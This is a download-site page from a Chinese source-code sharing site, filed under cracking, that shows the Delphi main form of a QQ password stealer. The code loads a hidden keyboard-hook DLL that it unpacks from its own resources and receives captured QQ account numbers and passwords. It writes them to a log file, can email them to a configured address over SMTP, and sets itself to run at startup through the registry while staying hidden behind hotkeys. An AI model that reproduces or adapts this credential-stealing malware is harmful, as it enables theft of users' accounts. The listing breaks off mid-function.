开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > 系统/网络安全 > 破解 > 查看源码
Mainfrm.pas
资源名称：QQ(delphi).rar　[点击查看]
上传用户：jiansibo
上传日期：2015-07-04
资源大小：524k
文件大小：28k
源码类别：

破解

开发平台：

Delphi

Mainfrm.pas：源码内容
  1. unit Mainfrm;
  3. interface
  5. uses
  6.   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  7.   ComCtrls, StdCtrls,inifiles,registry,passwordfrm,types, Grids,
  8.   WinshoeMessage, Winshoes, SMTPWinshoe, ExtCtrls, RXCtrls;
  10. type
  12.   THookON=procedure;stdcall;
  13.   THookOff=procedure; stdcall;
  15.   TGQPFRM = class(TForm)
  16.     PageControl1: TPageControl;
  17.     TabSheet1: TTabSheet;
  18.     TabSheet2: TTabSheet;
  19.     TabSheet3: TTabSheet;
  20.     GroupBox1: TGroupBox;
  21.     EdMailServer: TEdit;
  22.     EdMailPort: TEdit;
  23.     Cbautosendmail: TCheckBox;
  24.     Label1: TLabel;
  25.     Label2: TLabel;
  26.     EdMailUsername: TEdit;
  27.     Label3: TLabel;
  28.     EdMailPassword: TEdit;
  29.     Label4: TLabel;
  30.     Label5: TLabel;
  31.     EdMailAddress: TEdit;
  32.     BuMailTest: TButton;
  33.     GroupBox2: TGroupBox;
  34.     Label6: TLabel;
  35.     Label7: TLabel;
  36.     Label8: TLabel;
  37.     EdOldPass: TEdit;
  38.     EdNewPass1: TEdit;
  39.     EdNewPass2: TEdit;
  40.     CBPASS: TCheckBox;
  41.     GroupBox3: TGroupBox;
  42.     Label9: TLabel;
  43.     EDataFile: TEdit;
  44.     Button2: TButton;
  45.     Button3: TButton;
  46.     Button4: TButton;
  47.     GroupBox4: TGroupBox;
  48.     RbCusOptHotkey: TRadioButton;
  49.     RbDefOptHotkey: TRadioButton;
  50.     LBDefOptHotkey: TLabel;
  51.     EdCusOptHotkey: TEdit;
  52.     GroupBox5: TGroupBox;
  53.     RbCusDataHotkey: TRadioButton;
  54.     RbDefDataHotkey: TRadioButton;
  55.     LbDefDataHotkey: TLabel;
  56.     EdCusDatahotkey: TEdit;
  57.     CBAutoRun: TCheckBox;
  58.     TabSheet4: TTabSheet;
  59.     GroupBox7: TGroupBox;
  60.     TabSheet5: TTabSheet;
  61.     CBServerCheck: TCheckBox;
  62.     SMTP: TWinshoeSMTP;
  63.     MSG: TWinshoeMessage;
  64.     lbabout: TLabel;
  65.     Label10: TLabel;
  66.     Label12: TLabel;
  67.     Bevel1: TBevel;
  68.     Image1: TImage;
  69.     SaveDialog1: TSaveDialog;
  70.     RxLabel1: TRxLabel;
  71.     LV: TListView;
  72.     Label11: TLabel;
  73.     procedure Button4Click(Sender: TObject);
  74.     procedure Button3Click(Sender: TObject);
  75.     procedure CBPASSClick(Sender: TObject);
  76.     procedure RbCusOptHotkeyClick(Sender: TObject);
  77.     procedure RbDefOptHotkeyClick(Sender: TObject);
  78.     procedure RbDefDataHotkeyClick(Sender: TObject);
  79.     procedure RbCusDataHotkeyClick(Sender: TObject);
  80.     procedure CbautosendmailClick(Sender: TObject);
  81.     procedure FormCreate(Sender: TObject);
  82.     procedure EdCusOptHotkeyKeyDown(Sender: TObject; var Key: Word;
  83.       Shift: TShiftState);
  84.     procedure EdCusDatahotkeyKeyDown(Sender: TObject; var Key: Word;
  85.       Shift: TShiftState);
  86.     procedure EdCusOptHotkeyKeyPress(Sender: TObject; var Key: Char);
  87.     procedure EdCusDatahotkeyKeyPress(Sender: TObject; var Key: Char);
  88.     procedure CBServerCheckClick(Sender: TObject);
  89.     procedure BuMailTestClick(Sender: TObject);
  90.     procedure Button2Click(Sender: TObject);
  91.     procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
  92.   private
  93.     { Private declarations }
  94.     dllhandle:THandle;
  95.     DllName:string;
  96.     HookOn:THookOn;HookOff:THookOff;
  97.     mkey1,mkey2:string;
  98.     ftemOption:Toption;
  99.     OptWinhotkeyid,CloseAppHotKeyId:integer;
  100.     procedure hotkeypress(var msg:TWMHotKey);message wm_hotkey;
  101.     procedure GetData(var t: TWmCopyData); message WM_COPYDATA;
  102.     function  dLoadDll:boolean;
  103.     function initapp:boolean;
  104.     procedure closeapp;
  105.     procedure SetOption;
  106.     procedure SetDefaultOption;
  107.     procedure WriteOptionFile;
  108.     procedure readOptionFile;
  109.     procedure UpdataForm;
  110.     procedure SetSystem;
  111.     function  GetKeyStr(key:word):string;
  112.     function  CheckInput:boolean;
  113.      function CheckNetTabSheet:boolean;
  114.     procedure sendmail(HostAddress:string;port:integer;UserID:string;Password:string;Emailaddress:string;
  115.                        qqnum:string;qqpass:string);
  116.     procedure TestSendMail(HostAddress,port,UserID,Password,Emailaddress:string);
  117.     function WhetherOnLine:boolean;
  118.   public
  119.     { Public declarations }
  120.   end;
  122.   TSenderThread = class(TThread)
  123.   public
  124.     mstate:boolean;
  125.     mSMTP: TWinshoeSMTP;
  126.     mMsg: TWinshoeMessage;
  127.     procedure Execute; override;
  128.   end;
  130. function InternetCheckConnection(lpszUrl: PAnsiChar; dwFlags: DWORD;
  131.     dwReserved: DWORD): BOOL; stdcall;  external 'wininet.dll' name 'InternetCheckConnectionA';
  133. var
  134.   GQPFRM: TGQPFRM;
  136. implementation
  138. {$R *.DFM}
  139. function  TGQPFRM.GetKeyStr(key:word):string;
  140. var
  141.  mkey:string;
  142. begin
  143. // if key in [16..18] then exit;
  144.  if (key in [65..90]) or (key in [48..57]) then  mkey:=char(key);
  145.  case key of
  146.      VK_BACK:mkey:= 'Back';
  147.      VK_NUMPAD1:mkey:= 'NUM 1';
  148.      VK_NUMPAD2:mkey:= 'NUM 2';
  149.      VK_NUMPAD3:mkey:= 'NUM 3';
  150.      VK_NUMPAD4:mkey:= 'NUM 4';
  151.      VK_NUMPAD5:mkey:= 'NUM 5';
  152.      VK_NUMPAD6:mkey:= 'NUM 6';
  153.      VK_NUMPAD7:mkey:= 'NUM 7';
  154.      VK_NUMPAD8:mkey:= 'NUM 8';
  155.      VK_NUMPAD9:mkey:= 'NUM 9';
  156.      VK_NUMPAD0:mkey:= 'NUM 0';
  157.      VK_MULTIPLY:mkey:= 'NUM *';
  158.      VK_ADD:     mkey:= 'NUM +';
  159.      VK_SUBTRACT:mkey:= 'NUM -';
  160.      VK_DECIMAL: mkey:= 'NUM .';
  161.      VK_DIVIDE: mkey:= 'NUM /';
  162.      VK_NUMLOCK:mkey:='NUMLOCK';
  164.      VK_SCROLL :mkey:='SCROLLLOCK';
  165.      VK_PAUSE :mkey:='PAUSE';
  166.      VK_INSERT :mkey:='INSERT';
  167.      VK_DELETE :mkey:='DELETE';
  168.      VK_PRIOR :mkey:='PageUp';
  169.      VK_NEXT :mkey:='PageDown';
  170.      VK_END :mkey:='END';
  171.      VK_HOME :mkey:='HOME';
  172.      VK_LEFT :mkey:='LEFT';
  173.      VK_UP :mkey:='UP';
  174.      VK_RIGHT :mkey:='RIGHT';
  175.      VK_DOWN :mkey:='DOWN';
  177.      VK_ESCAPE :mkey:='ESC';
  178.      VK_F1 :mkey:='F1';
  179.      VK_F2 :mkey:='F2';
  180.      VK_F3 :mkey:='F3';
  181.      VK_F4 :mkey:='F4';
  182.      VK_F5 :mkey:='F5';
  183.      VK_F6 :mkey:='F6';
  184.      VK_F7 :mkey:='F7';
  185.      VK_F8 :mkey:='F8';
  186.      VK_F9 :mkey:='F9';
  187.      VK_F10 :mkey:='F10';
  188.      VK_F11 :mkey:='F11';
  189.      VK_F12 :mkey:='F12';
  191.      192:mkey:='`';
  192.      189:mkey:='-';
  193.      187:mkey:='=';
  194.      220:mkey:='';
  195.      VK_RETURN:mkey:='ENTER';
  196.      219:mkey:='[';
  197.      221:mkey:=']';
  198.      20:mkey:='CAPSLOCK';
  199.      186:mkey:=';';
  200.      222:mkey:='''';
  201.      188:mkey:=',';
  202.      190:mkey:='.';
  203.      191:mkey:='/';
  204.      VK_LWIN:mkey:='LWIN';
  205.      VK_RWIN:mkey:='RWIN';
  206.      VK_SPACE:mkey:='SPACE';
  207.   end;
  208.   result:=mkey;
  209. end;
  210. procedure TGQPFRM.GetData(var t: TWmCopyData);
  211. var
  212.  i:integer;
  213.  qqnumpass:string;
  214.  qqnum,qqpass:string;
  215.  qqdatafile:textfile;
  216.  mitem:TlistItem;
  217. begin
  218.  qqnumpass:=StrPas(t.CopyDataStruct.lpData);
  219.  i:=pos('/',qqnumpass);
  220.  qqnum:=copy(qqnumpass,1,i-1);
  221.  qqpass:=copy(qqnumpass,i+1,length(qqnumpass)-i);
  223.  mitem:=lv.Items.Add;
  224.  mitem.Caption:=qqnum;
  225.  mitem.SubItems.Add(qqpass);
  227.  if AppOption.DataFile<>''then
  228.   begin
  229.     assignfile(qqdatafile,AppOption.DataFile);
  230.     if not fileexists(AppOption.DataFile) then
  231.     begin
  232.       rewrite(qqdatafile);
  233.     end;
  234.       append(qqdatafile);
  235.       writeln(qqdatafile,'Number:'+qqnum+'  Password:'+qqpass);
  236.       closefile(qqdatafile);
  237.   end;
  240.  if AppOption.autosendmail then
  241.   begin
  242.    sendmail(AppOption.mailserver,appoption.mailPort,appoption.mailUserName,
  243.             AppOption.mailPassword,AppOption.MailAddress,qqnum,qqpass);
  244.   end;
  245. end;
  247. procedure TGQPFRM.hotkeypress(var msg:TWMHotKey);
  248. begin
  249. if msg.HotKey=OptWinhotkeyid then
  250.   begin
  251.    if not self.Visible then
  252.     begin
  253.      UpdataForm;
  254.      if AppOption.password<>'' then
  255.        PasswordDlg.Show
  256.      else
  257.       begin
  258.        self.Visible:=true;
  259.       end;
  260.     end;
  261.   end;
  262. if msg.HotKey=CloseAppHotKeyId then
  263.   if not self.Visible then close;
  265. end;
  267. procedure TGQPFRM.SetDefaultOption;
  268.  begin
  269.   with AppOption do
  270.    begin
  271.     autorun:=false;
  272.     password:='';
  273.     DataFile:='';          
  274.     OptWinHotKey.cusHotkey:=false;
  275.     OptWinHotkey.ctrl:=true;
  276.     OptWinHotkey.shift:=true;
  277.     OptWinHotkey.alt:=true;
  278.     OptWinHotkey.key:=vk_F7;
  279.     CloseAppHotKey.cusHotkey:=false;
  280.     CloseAppHotKey.ctrl:=true;
  281.     CloseAppHotKey.shift:=true;
  282.     CloseAppHotKey.alt:=true;
  283.     CloseAppHotKey.key:=vk_F8;
  284.     autosendmail:=false;
  285.     mailPort:=25;
  286.     servercheck:=false;
  287.   end;
  288.  end;
  289. procedure TGQPFRM.WriteOptionFile;
  290.  var
  291.   inif:Tinifile;
  292.  begin
  293.   inif:=Tinifile.Create(copy(application.ExeName,1,length(application.ExeName)-4)+'.ini');
  294.   inif.WriteBool('general','autorun',appoption.autorun);
  295.   inif.WriteString('general','password',appoption.password);
  296.   inif.WriteString('general','DataFile',appoption.Datafile);
  297.   inif.WriteBool('hotkey','OptWinHotkeycus',appoption.OptWinHotkey.cusHotkey);
  298.   inif.WriteBool('hotkey','OptWinHotkeyCtrl',appoption.optwinhotkey.ctrl);
  299.   inif.WriteBool('hotkey','OptWinHotkeyShift',appoption.optwinhotkey.Shift);
  300.   inif.WriteBool('hotkey','OptWinHotkeyAlt',appoption.optwinhotkey.Alt);
  301.   inif.Writeinteger('hotkey','OptWinHotkeykey',appoption.Optwinhotkey.key);
  302.   inif.WriteBool('hotkey','CloseAppHotKeycus',appoption.CloseAppHotKey.cusHotkey);
  303.   inif.WriteBool('hotkey','CloseAppHotKeyCtrl',appoption.CloseAppHotKey.Ctrl);
  304.   inif.WriteBool('hotkey','CloseAppHotKeyShift',appoption.CloseAppHotKey.Shift);
  305.   inif.WriteBool('hotkey','CloseAppHotKeyAlt',appoption.CloseAppHotKey.Alt);
  306.   inif.Writeinteger('hotkey','CloseAppHotKeykey',appoption.CloseAppHotKey.key);
  307.   inif.WriteBool('network','autosedmail',appoption.autosendmail);
  308.   inif.WriteString('network','mailserver',appoption.mailserver);
  309.   inif.WriteBool('network','servercheck',appoption.servercheck);
  310.   inif.WriteString('network','mailUserName',appoption.mailUserName);
  311.   inif.WriteString('network','mailPassword',appoption.mailPassword);
  312.   inif.WriteString('network','MailAddress',appoption.MailAddress);
  313.   inif.WriteInteger('network','mailPort',appoption.mailPort);
  315.   inif.Free;
  316.  end;
  318. procedure TGQPFRM.readOptionFile;
  319.  var
  320.   inif:Tinifile;
  321.  begin
  322.   inif:=Tinifile.Create(copy(application.ExeName,1,length(application.ExeName)-4)+'.ini');
  323.   appoption.autorun:=inif.readBool('general','autorun',false);
  324.   appoption.password:=inif.readString('general','password','');
  325.   appoption.datafile:=inif.readstring('general','DataFile','');
  326.   appoption.OptWinHotkey.cusHotkey:=inif.readBool('hotkey','OptWinHotkeycus',false);
  327.   appoption.optwinhotkey.ctrl:=inif.readBool('hotkey','OptWinHotkeyCtrl',false);
  328.   appoption.optwinhotkey.Shift:=inif.readBool('hotkey','OptWinHotkeyShift',false);
  329.   appoption.optwinhotkey.Alt:=inif.readBool('hotkey','OptWinHotkeyAlt',false);
  330.   appoption.Optwinhotkey.key:=inif.readinteger('hotkey','OptWinHotkeykey',0);
  332.   appoption.CloseAppHotKey.cusHotkey:=inif.readBool('hotkey','CloseAppHotKeycus',false);
  333.   appoption.CloseAppHotKey.Ctrl:=inif.readBool('hotkey','CloseAppHotKeyCtrl',false);
  334.   appoption.CloseAppHotKey.Shift:=inif.readBool('hotkey','CloseAppHotKeyShift',false);
  335.   appoption.CloseAppHotKey.Alt:=inif.readBool('hotkey','CloseAppHotKeyAlt',false);
  336.   appoption.CloseAppHotKey.key:=inif.readinteger('hotkey','CloseAppHotKeykey',0);
  338.   appoption.autosendmail:=inif.readBool('network','autosedmail',false);
  339.   appoption.mailserver:=inif.readString('network','mailserver','');
  340.   appoption.MailAddress:=inif.readString('network','MailAddress','');
  341.   appoption.mailPort:=inif.readInteger('network','mailPort',25);
  342.   appoption.servercheck:=inif.readBool('network','servercheck',false);
  343.   appoption.mailUserName:=inif.readString('network','mailUserName','');
  344.   appoption.mailPassword:=inif.readString('network','mailPassword','');
  346.   inif.Free;
  347.  end;
  348.  
  349. procedure TGQPFRM.UpdataForm;
  350. var
  351.  mhotkey:string;
  352. begin
  353.  ftemoption:=appoption;
  354.  self.PageControl1.ActivePage:=TabSheet5;  
  356.  with appoption do
  357.   begin
  358.    if autorun then
  359.        begin self.CBAutoRun.Checked:=true;end
  360.    else
  361.        begin self.CBAutoRun.Checked:=false;end;
  362.    self.CBPASS.Checked:=false;
  363.    self.EdOldPass.Text:='';
  364.    self.EdOldPass.Enabled:=false;
  365.    self.EdNewPass1.Text:='';
  366.    self.EdNewPass1.Enabled:=false;
  367.    self.EdNewPass2.Text:='';
  368.    self.EdNewPass2.Enabled:=false;
  369.    self.EDataFile.Text:=DataFile;
  371.   if optwinhotkey.cushotkey=true then
  372.    begin
  373.     self.RbCusOptHotkey.Checked:=true;
  374.     if optwinhotkey.ctrl then mhotkey:='Ctrl';
  375.     if optwinhotkey.shift then mhotkey:=mhotkey+'+shift';
  376.     if optwinhotkey.alt then mhotkey:=mhotkey+'+Alt';
  377.     if optwinhotkey.key<>0 then mhotkey:=mhotkey+'+'+GetKeyStr(optwinhotkey.key);
  378.     self.EdCusOptHotkey.Text:=mhotkey;
  379.    end
  380.   else
  381.    begin
  382.     self.RbDefOptHotkey.Checked:=true;
  383.     self.EdCusOptHotkey.Text:='';
  384.    end;
  386.   if CloseAppHotKey.cushotkey=true then
  387.    begin
  388.     self.RbCusDataHotkey.Checked:=true;
  389.     if CloseAppHotKey.ctrl then mhotkey:='Ctrl';
  390.     if CloseAppHotKey.shift then mhotkey:=mhotkey+'+shift';
  391.     if CloseAppHotKey.alt then mhotkey:=mhotkey+'+Alt';
  392.     if CloseAppHotKey.key<>0 then mhotkey:=mhotkey+'+'+GetKeyStr(CloseAppHotKey.key);
  393.     self.EdCusDatahotkey.Text:=mhotkey;
  394.    end
  395.   else
  396.    begin
  397.     self.RbDefDataHotkey.Checked:=true;
  398.     self.EdCusDatahotkey.Text:='';
  399.    end;
  401.   if  autosendmail then
  402.     begin
  403.      self.Cbautosendmail.Checked:=true;
  404.      CbautosendmailClick(self);
  405.      self.EdMailServer.Text:=mailserver;
  406.      self.EdMailAddress.Text:=mailaddress;
  407.      self.EdMailPort.Text:=inttostr(mailport);    
  408.      if servercheck then
  409.       begin
  410.        self.CBServerCheck.Checked:=true;
  411.        cbservercheckclick(self);
  412.        self.EdMailUsername.Text:=mailusername;
  413.        self.EdMailPassword.Text:=mailpassword;
  414.       end
  415.      else
  416.       begin
  417.        self.CBServerCheck.Checked:=false;
  418.        self.EdMailUsername.Text:='';
  419.        self.EdMailPassword.Text:='';
  420.       end;
  421.     end
  422.   else
  423.     begin
  424.      self.Cbautosendmail.Checked:=false;
  425.      self.EdMailServer.Text:='';
  426.      self.EdMailUsername.Text:='';
  427.      self.EdMailPassword.Text:='';
  428.      self.EdMailAddress.Text:='';
  429.      self.EdMailPort.Text:=inttostr(mailport); 
  430.      self.CBServerCheck.Enabled:=false;
  431.      CbautosendmailClick(self);     
  432.     end;
  433.  end;
  434. end;
  436. procedure TGQPFRM.SetSystem;
  437. var
  438.  freg:Tregistry;
  439.  Fshift:Word;
  440. begin
  441.   
  442.  freg:=Tregistry.create;
  443.  freg.rootkey:=HKEY_LOCAL_MACHINE;
  444.  freg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',True);
  445.  if appoption.autorun then
  446.   begin
  447.    freg.DeleteValue('GQP');
  448.    freg.WriteString('GQP',application.ExeName);
  449.   end
  450.  else
  451.   begin
  452.    freg.DeleteValue('GQP');
  453.   end;
  454.  freg.Closekey;
  455.  freg.Free;
  457. Fshift:=0;
  458. if appoption.OptWinHotkey.shift then Fshift:=MOD_SHIFT;
  459. if appoption.OptWinHotkey.ctrl then Fshift:=Fshift or MOD_CONTROL;
  460. if appoption.OptWinHotkey.alt then  Fshift:=Fshift or MOD_ALT;
  461. registerhotkey(handle,OptWinhotkeyid,fshift,appoption.OptWinHotkey.key);
  463. Fshift:=0;
  464. if appoption.CloseAppHotKey.shift then Fshift:=MOD_SHIFT;
  465. if appoption.CloseAppHotKey.ctrl then Fshift:=Fshift or MOD_CONTROL;
  466. if appoption.CloseAppHotKey.alt then  Fshift:=Fshift or MOD_ALT;
  467. registerhotkey(handle,CloseAppHotKeyId,fshift,appoption.CloseAppHotKey.key);
  469. end;
  471. procedure TGQPFRM.SetOption;
  472. begin
  473.  //if  AppOption=ftemOption then exit;
  474.  AppOption:=ftemOption;
  475. end;                                      
  477. function  TGQPFRM.dLoadDll:boolean;
  478. var
  479.   Res: TResourceStream;
  480. begin
  481.  result:=false;
  483.  dllname:=copy(application.ExeName,1,length(application.ExeName)-4)+'.dll';
  484. // dllname:=copy(application.ExeName,1,length(application.ExeName)-4)+'l.dll';
  485.  if not FileExists(dllname) then
  486.   begin
  487.     Res := TResourceStream.Create(Hinstance, 'MYDAT', RT_RCDATA);
  488.     Res.SavetoFile(dllname);
  489.     Res.Free;
  490.  end;
  491.  
  492.  dllhandle := LoadLibrary(pchar(dllname));
  494.  try
  495.   if dllhandle <> 0 then
  496.    begin
  497.     @HookOn := GetProcAddress(dllhandle, 'HookOn');
  498.     @HookOff:= GetProcAddress(dllhandle, 'HookOff');
  499.     if (@HookOn=nil)or(@HookOff=nil) then
  500.       begin
  501.        showmessage('文件已损坏');
  502.        raise exception.Create('err');
  503.       end;
  504.    end
  505.   else
  506.     begin
  507.      showmessage('dll不存在');
  508.      raise exception.Create('err');
  509.     end;
  510.  except
  511.   on exception do
  512.    begin
  513.     FreeLibrary(dllhandle);
  514.     exit;
  515.    end;
  516.  end;
  517.   result:=true;
  518.  end;
  520. function TGQPFRM.initapp:boolean;
  521. begin
  522.   result:=false;
  523.   if  dLoadDll=false then exit;
  524.   
  525.   if  not FileExists(copy(application.ExeName,1,length(application.ExeName)-4)+'.ini') then
  526.       begin
  527.        SetDefaultOption;
  528.        WriteOptionFile;
  529.       end
  530.   else
  531.       begin
  532.        readOptionFile;
  533.       end;           
  535. //  根据控制信息设置窗口
  536.   UpdataForm;
  537. //设置系统
  538.   //定义系统热键
  539.   OptWinhotkeyid:=GlobalAddAtom(pchar('OptWinHotkey'))-$C000;
  540.   CloseAppHotKeyId:=GlobalAddAtom(pchar('CloseAppHotKey'))-$C000;
  541.   
  542.   SetSystem;
  544.   hookon;
  546.  result:=true;
  547. end;
  549. procedure TGQPFRM.closeapp;
  550. begin
  551.  hookoff;
  553. //卸载热键
  554.  unregisterhotkey(handle,OptWinhotkeyid);
  555.  if OptWinhotkeyid<>0 then DeleteAtom(OptWinhotkeyid);
  556.  unregisterhotkey(handle,CloseAppHotKeyId);
  557.   if CloseAppHotKeyId<>0 then DeleteAtom(CloseAppHotKeyId);
  559.  if dllhandle<>0 then FreeLibrary(dllhandle);
  560. // sleep(100);
  561. // if FileExists(dllname) then deletefile(dllname);
  562.  
  563.  {
  564.    关闭hook
  565.    卸载dll
  567.    卸载热键
  568.    卸载内存映象
  569.    }
  570. end;
  572. procedure TGQPFRM.Button4Click(Sender: TObject);
  573. begin
  574.  self.Visible:=false;
  575. end;
  577. function TGQPFRM.CheckNetTabSheet:boolean;
  578.  begin
  579.  result:=false;
  580.  ftemoption.autosendmail:=self.Cbautosendmail.Checked;
  581.  if self.Cbautosendmail.Checked then
  582.     begin
  583.      if self.EdMailServer.Text='' then begin showmessage('请填写smtp服务器');exit;end;
  584.      if self.EdMailPort.Text='' then  begin showmessage('请填写端口号');exit;end;
  586.      if self.EdMailAddress.Text=''then  begin showmessage('请填写收件人邮箱');exit;end;
  587.      ftemoption.mailserver:=self.EdMailServer.Text;
  588.      ftemoption.MailAddress:=self.EdMailAddress.Text;
  589.      try
  590.       ftemoption.mailPort:=strtoint(self.EdMailPort.Text);
  591.      except
  592.       on econverterror do
  593.        begin
  594.         showmessage('端口号输入错误！');
  595.         exit;
  596.        end;
  597.      end;
  599.      ftemoption.servercheck:=self.CBServerCheck.Checked;
  600.      if self.CBServerCheck.Checked then
  601.        begin
  602.         if self.EdMailUsername.Text='' then begin showmessage('请填写验证用户');exit;end;
  603.         if self.EdMailPassword.Text=''then begin showmessage('请填写验证密码');exit;end;
  604.         ftemoption.mailUserName:=self.EdMailUsername.Text;
  605.         ftemoption.mailPassword:=self.EdMailPassword.Text;
  606.        end;
  607.    end;
  609.    result:=true;
  610.  end;
  612. function  TGQPFRM.CheckInput:boolean;
  613. begin
  614.   result:=false;
  616.    ftemoption.autorun:=CbAutoRun.Checked;
  618.    if self.CBPASS.Checked then
  619.       begin
  620.        if self.EdOldPass.Text<>AppOption.password then
  621.         begin
  622.          showmessage('原始密码错误！');
  623.          exit;
  624.         end;
  625.        if self.EdNewPass1.Text <>self.EdNewPass2.Text  then
  626.         begin
  627.          showmessage('新密码和确认密码不一致！');
  628.          exit;
  629.         end;
  630.         ftemoption.password:=self.EdNewPass2.Text;
  631.       end
  632.    else
  633.       ftemoption.password:=appoption.password;
  635.   if self.RbDefOptHotkey.Checked then
  636.     begin
  637.     ftemoption.OptWinHotkey.cusHotkey:=false;
  638.     ftemoption.OptWinHotkey.ctrl:=true;
  639.     ftemoption.OptWinHotkey.shift:=true;
  640.     ftemoption.OptWinHotkey.alt:=true;
  641.     ftemoption.OptWinHotkey.key:=VK_F7;
  642.    end;
  643.  if self.RbDefDataHotkey.Checked then
  644.    begin
  645.     ftemoption.CloseAppHotKey.cusHotkey:=false;
  646.     ftemoption.CloseAppHotKey.ctrl:=true;
  647.     ftemoption.CloseAppHotKey.shift:=true;
  648.     ftemoption.CloseAppHotKey.alt:=true;
  649.     ftemoption.CloseAppHotKey.key:=VK_F8;
  650.    end;
  652.  if self.RbCusOptHotkey.Checked then
  653.   begin
  654.     ftemoption.OptWinHotkey.cusHotkey:=true;
  655.     if self.EdCusOptHotkey.Text ='' then
  656.       begin showmessage('自定义热键不能为空!'); exit; end;
  657.     if not(ftemoption.OptWinHotkey.shift or ftemoption.OptWinHotkey.ctrl or
  658.          ftemoption.OptWinHotkey.alt)  then begin showmessage('热键不合法'); exit; end;
  659.     if ftemoption.OptWinHotkey.key=0 then begin  showmessage('热键不合法'); exit; end;
  660.   end;
  662. if self.RbCusDataHotkey.Checked then
  663.  begin
  664.    ftemoption.CloseAppHotKey.cusHotkey:=true;
  665.    if self.RbCusDataHotkey.Checked then
  666.     if (self.EdCusDataHotkey.Text ='') then
  667.      begin showmessage('自定义热键不能为空!'); exit; end;
  668.    if not(ftemoption.CloseAppHotKey.shift or ftemoption.CloseAppHotKey.ctrl or
  669.       ftemoption.CloseAppHotKey.alt)  then begin showmessage('热键不合法'); exit; end;
  670.    if ftemoption.CloseAppHotKey.key=0 then begin  showmessage('热键不合法'); exit; end;
  671.  end;
  672.  
  673.   if not CheckNetTabSheet then exit;
  674.      
  675.   result:=true;
  676. end;
  678. procedure TGQPFRM.Button3Click(Sender: TObject);
  679. begin
  681. if not CheckInput then exit;
  682.  setOption;
  683.  WriteOptionFile;
  684.  SetSystem;
  685.  self.Visible:=false;
  686. end;
  688. procedure TGQPFRM.CBPASSClick(Sender: TObject);
  689. begin
  690.  if CBPass.Checked then
  691.   begin
  692.    EdOldPass.Enabled:=true;EdOldPass.Color:=clwindow;
  693.    EdNewPass1.Enabled:=true;EdNewPass1.Color:=clwindow;
  694.    EdNewPass2.Enabled:=true;EdNewPass2.Color:=clwindow;
  695.   end
  696.  else
  697.   begin
  698.    EdOldpass.Enabled:=false;EdOldPass.Color:=clinactiveborder;
  699.    EdNewPass1.Enabled:=False;EdNewPass1.Color:=clinactiveborder;
  700.    EdnewPass2.enabled:=false;EdnewPass2.Color:=clinactiveborder;
  701.   end;
  702. end;
  704. procedure TGQPFRM.RbCusOptHotkeyClick(Sender: TObject);
  705. begin
  706.  EdCusOptHotkey.Enabled:=true;
  707.  EdCusOptHotkey.Color:=clwindow;
  708. end;
  710. procedure TGQPFRM.RbDefOptHotkeyClick(Sender: TObject);
  711. begin
  712.  EdCusOptHotkey.Enabled:=false;
  713.  EdCusOptHotkey.Color:=clinactiveborder;
  714. end;
  716. procedure TGQPFRM.RbDefDataHotkeyClick(Sender: TObject);
  717. begin
  718.  EdCusDataHotkey.Enabled:=false;
  719.  EdCusDataHotkey.Color:=clinactiveborder;
  720. end;
  722. procedure TGQPFRM.RbCusDataHotkeyClick(Sender: TObject);
  723. begin
  724.  EdCusDataHotkey.Enabled:=true;
  725.  EdCusDataHotkey.Color:=clwindow;
  726. end;
  728. procedure TGQPFRM.CbautosendmailClick(Sender: TObject);
  729. begin
  730.   if Cbautosendmail.Checked then
  731.    begin
  732.     Edmailserver.Enabled:=true;Edmailserver.Color:=clwindow; 
  733.     EdmailAddress.Enabled:=true;EdmailAddress.Color:=clwindow;
  734.     EdmailPort.Enabled:=true;EdmailPort.Color:=clwindow;
  735.     cbservercheck.Enabled:=true;
  736.     BuMailTest.Enabled:=true;
  737.    end
  738.   else
  739.    begin
  740.     Edmailserver.Enabled:=false;Edmailserver.Color:=clinactiveborder;
  741.     EdmailAddress.Enabled:=false;EdmailAddress.Color:=clinactiveborder;
  742.     EdmailPort.Enabled:=false;EdmailPort.Color:=clinactiveborder;
  743.     cbservercheck.Checked:=false;
  744.     cbservercheck.Enabled:=false;
  745.     EdmailUserName.Enabled:=false;EdmailUserName.Color:=clinactiveborder;
  746.     EdmailPassword.Enabled:=false;EdmailPassword.Color:=clinactiveborder;
  747.     BuMailTest.Enabled:=false;   
  748.    end;
  749. end;
  750. procedure TGQPFRM.CBServerCheckClick(Sender: TObject);
  751. begin
  752.   if CBServerCheck.Checked then
  753.    begin
  754.     EdmailUserName.Enabled:=true;EdmailUserName.Color:=clwindow;
  755.     EdmailPassword.Enabled:=true;EdmailPassword.Color:=clwindow;
  756.    end
  757.   else
  758.    begin
  759.     EdmailUserName.Enabled:=false;EdmailUserName.Color:=clinactiveborder;
  760.     EdmailPassword.Enabled:=false;EdmailPassword.Color:=clinactiveborder;
  761.    end;
  762. end;
  763. procedure TGQPFRM.FormCreate(Sender: TObject);
  764. begin
  765.  if initapp=false then application.Terminate;
  766. end;
  768. procedure TGQPFRM.EdCusOptHotkeyKeyDown(Sender: TObject; var Key: Word;
  769.   Shift: TShiftState);
  770. var
  771.  mstring:string;
  772. begin
  773.   if not (key in [16..18]) then
  774.      begin
  775.       mkey1:=GetKeyStr(key);
  776.       ftemoption.OptWinHotkey.key:=key;
  777.      end;
  778.       
  779.   if ssShift in Shift then
  780.       begin
  781.        mstring:='Shift+';
  782.        ftemoption.OptWinHotkey.shift:=true;
  783.       end
  784.   else
  785.        ftemoption.OptWinHotkey.shift:=false;
  786.        
  787.   if ssCtrl in shift then
  788.     begin
  789.      mString:=mstring+'Ctrl+';
  790.      ftemoption.OptWinHotkey.ctrl:=true;
  791.     end
  792.   else
  793.      ftemoption.OptWinHotkey.ctrl:=false;
  795.   if ssAlt in Shift then
  796.    begin
  797.     mString:=mstring+'ALT+';
  798.     ftemoption.OptWinHotkey.alt:=true;
  799.    end
  800.   else
  801.     ftemoption.OptWinHotkey.alt:=false;
  802.      
  803.   mString:=mString+mkey1;
  804.   EdCusOptHotkey.Text:=mstring;
  805. end;
  807. procedure TGQPFRM.EdCusDatahotkeyKeyDown(Sender: TObject; var Key: Word;
  808.   Shift: TShiftState);
  809. var
  810.  mstring:string;
  811. begin
  812.  if not (key in [16..18]) then
  813.   begin
  814.    mkey2:=GetKeyStr(key);
  815.    ftemoption.CloseAppHotKey.key:=key;
  816.   end;
  818.   if ssShift in Shift then
  819.       begin
  820.        mstring:='Shift+';
  821.        ftemoption.CloseAppHotKey.shift:=true;
  822.       end
  823.   else
